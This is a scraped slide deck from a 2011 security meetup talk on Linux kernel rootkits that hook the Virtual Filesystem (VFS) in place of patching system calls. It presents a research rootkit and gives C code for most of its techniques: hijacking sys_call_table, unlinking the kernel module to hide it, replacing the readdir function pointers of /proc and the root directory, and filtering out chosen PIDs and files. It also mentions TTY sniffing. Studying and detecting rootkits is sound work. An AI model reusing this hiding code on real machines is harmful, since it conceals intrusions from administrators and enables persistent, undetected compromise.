Upload
ricardomcm
View
598
Download
3
Tags:
Embed Size (px)
Citation preview
Linux rootkits without syscall patching, (the VFS way) Confraria SECURITY & IT – 28 Set 2011
#> whoami § Ricardo Mourato – 25 yo
§ Computer Science Degree
§ InfoSec & SuperBock Stout addicted
§ OS X, Slackware, FreeBSD, OpenBSD, Solaris fanatic
§ Java, .Net, Python, Ruby, C, C++, ASM Lover
§ Windows (All versions) , Perl (All versions) and Printers (Yes, they came from hell !) hater
§ root, right here :)
2
Agenda § Linux rootkits – brief talk
§ Linux 2.{5,6} kernel – what changed ?
§ The Virtual Filesystem (VFS)
§ Meet /proc, our friend!
§ Introducing
§ Show time J
§ Retrospect
§ Questions & Answers
3
Linux rootkits – how they were? § In the beginning…
§ User-land Trojaned binaries mostly § Easy to spot § Easy to code § However, hard to hide!
§ LRK5 was a good bastard…
4
Linux rootkits – how they were? § Not so far away…
§ The Kernel-land approach § Loadable Kernel Modules or /dev/kmem “patching” § Syscall patching § Easy to code § Less easy to find
Adore & suckit were also good bastards!
5
Linux rootkits – how they were? extern void *sys_call_table[]; int init_module(void) {
original_call = sys_call_table[__NR_open]; sys_call_table[__NR_open] = evil_open; return 0;
}
6
Linux 2.{5,6} – what changed?
§ Main change:
§ OMG! sys_call_table[] no longer exported!!! § Even if you find it, it will be read-only
§ Workaround:
§ Find IDT § Find the 0x80 interrupt § Get the system_call() function location § Use gdb kung fu and search memory for sys_call_table[] within
this function
7
Linux 2.{5,6} – what changed?
8
$ gdb -q /usr/src/linux/vmlinux (no debugging symbols found)...(gdb) disass system_call … 0xc0106bf4 : call *0xc01e0f18(,%eax,4) … (gdb) print &sys_call_table $1 = ( *) 0xc01e0f18
The Virtal Filesystem
9
§ Is the primary interface to underlying filesystems (common file model)
§ Exports a set of interfaces for every individual filesystem
§ Each filesystem must “implement” this interface in order to become a common file model
§ Some interesting players are:
§ struct dentry; § struct file_operations; § struct inode_operations;
/proc is our friend
10
§ So… everything in linux “is a file” right?
§ Including the ones located at /proc even if “in memory”
§ And… most user-land tools rely on /proc to get information! § This tools include:
§ ps § netstat § top § mount § And many, many others…
§ Remember struct file_operations ? J
Introducing Fuckit…
11
§ Fu Control Kit (just in case!)
§ A research born VFS rootkit capable of:
§ Hide itself ß No sh*t sherlock? § Hide processes § Hide files and directories § TTY sniffing
Module hiding
12
§ Modules are linked together in a double link list maintained by the
kernel
§ The kernel have internal functions to “unlink” the unloaded modules from the list
§ Just use them wisely J
Module hiding
13
static struct module *m = THIS_MODULE; void hideme(void){
kobject_del(&m->mkobj.kobj); list_del(&m->list);
}
“Hook” the Virtual Filesystem (/proc)
14
static struct file_operations *proc_fops; ß remember again? J void hook_proc(void){
/* we are not /proc yet */ key = create_proc_entry(KEY,0666,NULL); /* now we become /proc :) */ proc = key->parent; /* save the original, we will need it later*/ proc_fops = (struct file_operations *)proc->proc_fops;
original_proc_readdir = proc_fops->readdir; /* tha hook */ proc_fops->readdir = fuckit_proc_readdir;
}
“Hook” the Virtual Filesystem (/)
15
static struct file *f; int hook_root(void){
f = filp_open("/",O_RDONLY,0600); if(IS_ERR(f)){ return -1; } original_root_readdir = f->f_op->readdir; f->f_op->readdir=fuckit_root_readdir; filp_close(f,NULL);
return 0; }
Process hiding
16
static inline int fuckit_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type){
//our hidden PID :) if(!strcmp(name,HIDDEN_PID) || !strcmp(name,KEY)){ return 0; }
return original_filldir(__buf,name,namelen,offset,ino,d_type); } static inline int fuckit_proc_readdir(struct file *filp, void *dirent, filldir_t filldir){
//save this, we will need to return it later original_filldir = filldir; return original_proc_readdir(filp,dirent,fuckit_proc_filldir);
}
File and Directory hiding
17
static int fuckit_root_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type){
//if is our hidden file/directory return nothing! :) if(strncmp(name,HIDDEN_DIR,namelen)==0){ return 0; }
return original_root_filldir(__buf,name,namelen,offset,ino,d_type); } static int fuckit_root_readdir(struct file *filp, void *dirent, filldir_t filldir){
//save this, we will need to return it later original_root_filldir = filldir; return original_root_readdir(filp,dirent,fuckit_root_filldir);
}
Seeing is believing
18
Retrospect
19
§ Syscall patching in 2.6 kernel is a true “pain in the a**”
§ VFS hooks, they also do the job!
§ It is a good approach, however it has some cons
§ It is possible to “brute force” /proc for hidden pids § You should let the Linux scheduler do this job!
§ Hypervisor rootkits will kill -9 every kernel rookits on earth! J
References
20
§ IBM developerWorks “Anatomy of the Linux filesystem”. Internet:
http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/. [Jan 25, 2011]
§ WangYao “Rootkit on Linux x86 v2.6” [Apr 21, 2009]
§ Dump “hideme (ng)”. Internet: http://trace.dump.cz/projects.php [Jan 25, 2011]
§ Ubra “Process Hiding & The Linux scheduler”. Internet: http://www.phrack.org/issues.html?issue=63&id=18 [Jan 25, 2011]
21
Questions & Answers
22
?